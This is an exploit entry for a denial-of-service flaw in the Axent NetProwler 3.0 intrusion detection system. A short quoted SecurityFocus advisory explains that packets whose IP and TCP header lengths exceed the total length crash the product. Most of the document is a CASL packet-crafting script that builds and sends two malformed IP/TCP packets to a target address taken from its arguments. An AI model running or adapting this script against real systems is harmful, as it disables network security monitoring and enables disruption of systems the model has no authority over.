Axent NetProwler 3.0 Malformed IP Packets DoS Vulnerability (2)

                                                source: http://www.securityfocus.com/bid/1225/info
 
Axent NetProwler 3.0 IDS is vulnerable to a malformed packet attack. It will crash if the Man-in-the-Middle signature encounters a packet for which the following expression is true:
(IP_HEADER_LENGTH + TCP_HEADER_LENGTH) > IP_TOTAL_LENGTH
 
According to Axent Security team, this is not a fragmented packet issue as reported in RFP2K05 By Rain Forest Puppy.
 
In addition, NetProwler utilizes Microsoft JET engine 3.5 for storing incoming alert information. More information regarding the Microsoft JET engine 3.5 vulnerability can be found at:
 
http://www.securityfocus.com/bid/286 

#include "tcpip.casl"
#include "packets.casl"

Src = pop args;
Dst = pop args;


Src = getip(Src);
Dst = getip(Dst);


iph = copy TCPIP;
iph.ip_version = 4;
iph.ip_headerlen = 5;
iph.ip_tos = 0;
iph.ip_length = 36;
iph.ip_id  = 2233;
iph.ip_offset = 3;
iph.ip_ttl = 62;
iph.ip_protocol = 6;
iph.ip_cksum = 38648;
iph.ip_source = Src;
iph.ip_destination = Dst;

tch = copy SYN;
tch.tcp_source = 1026;
tch.tcp_destination = 2058;
tch.tcp_seqno = 2542901;
tch.tcp_ackno = 0;
tch.tcp_offset = 0;
tch.tcp_x2 = 1;
tch.tcp_syn = 1;
tch.tcp_window = 768;

pk1data = "\x 0\x 0\x 0\x 0\x 0\x 0";


packet = [ iph, tch, pk1data ];

ip_output(packet);

iph2 = copy TCPIP;
iph2.ip_version = 4;
iph2.ip_headerlen = 5;
iph2.ip_tos = 0;
iph2.ip_length = 44;
iph2.ip_id = 2239;
iph2.ip_mf = 1;
iph2.ip_ttl = 62;
iph2.ip_protocol = 6;
iph2.ip_cksum = 30445;
iph2.ip_source = Src;
iph2.ip_destination = Dst;

tch2 = copy SYN;
tch2.tcp_source = 1032;
tch2.tcp_destination = 21;
tch2.tcp_seqno = 2816737352;
tch2.tcp_ackno = 0;
tch2.tcp_x2 = 10;
tch2.tcp_syn = 1;
tch2.tcp_window = 32120;
tch2.tcp_cksum = 29341;

pk2data = "\x 2\x 4\x 5\xb4 \x 0\x 0";

packet = [ iph2, tch2, pk2data ];

ip_output(packet);